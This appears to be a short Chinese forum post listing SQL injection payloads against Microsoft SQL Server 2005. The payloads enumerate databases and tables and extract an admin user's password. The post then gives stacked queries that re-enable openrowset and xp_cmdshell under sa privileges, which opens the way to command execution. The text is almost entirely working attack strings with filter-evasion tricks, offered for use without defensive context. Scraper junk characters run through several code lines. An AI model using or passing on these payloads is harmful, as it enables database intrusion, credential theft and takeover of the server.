MSsql2005注入语句

admin

[Copy to clipboard]CODE:
$ s8 P! `; v3 ~! Y6 ^, n8 c; M/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--

爆表语句,somedb部份是所要列的数据库，红色数字1累加
2 Z! i: g+ t$ x! w$ m1 ]2 U2 C
9 W4 `! i- k& Q; `. |( e
4 m) F" Z1 x4 H[Copy to clipboard]CODE:
2 K2 Q  w* `, J# W1 [/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--

爆字段语句，爆表admin里user='icerover'的密码段

; k6 H7 e8 k# }% T- r# }
[Copy to clipboard]CODE:
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--

mssql2005默认没有开xp_cmdshell的，openrowset也不能用
2 C3 g* ]/ x& M$ X/ H如果是sa权限，可以这样来开启
开启openrowset

9 u* Q1 H( E4 r. Z: y5 v
6 Q) _' [4 H$ }* x6 q1 Q7 Z[Copy to clipboard]CODE:
7 F7 \7 Q5 o/ L% F8 }/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
  R! O5 r( D$ _, Y' X: ?. E1 \0 y/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--

开启xp_cmdshell
4 l- b1 @) n4 ]

[Copy to clipboard]CODE:
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--

% W6 u, x- s0 z9 }ok,over~~晚安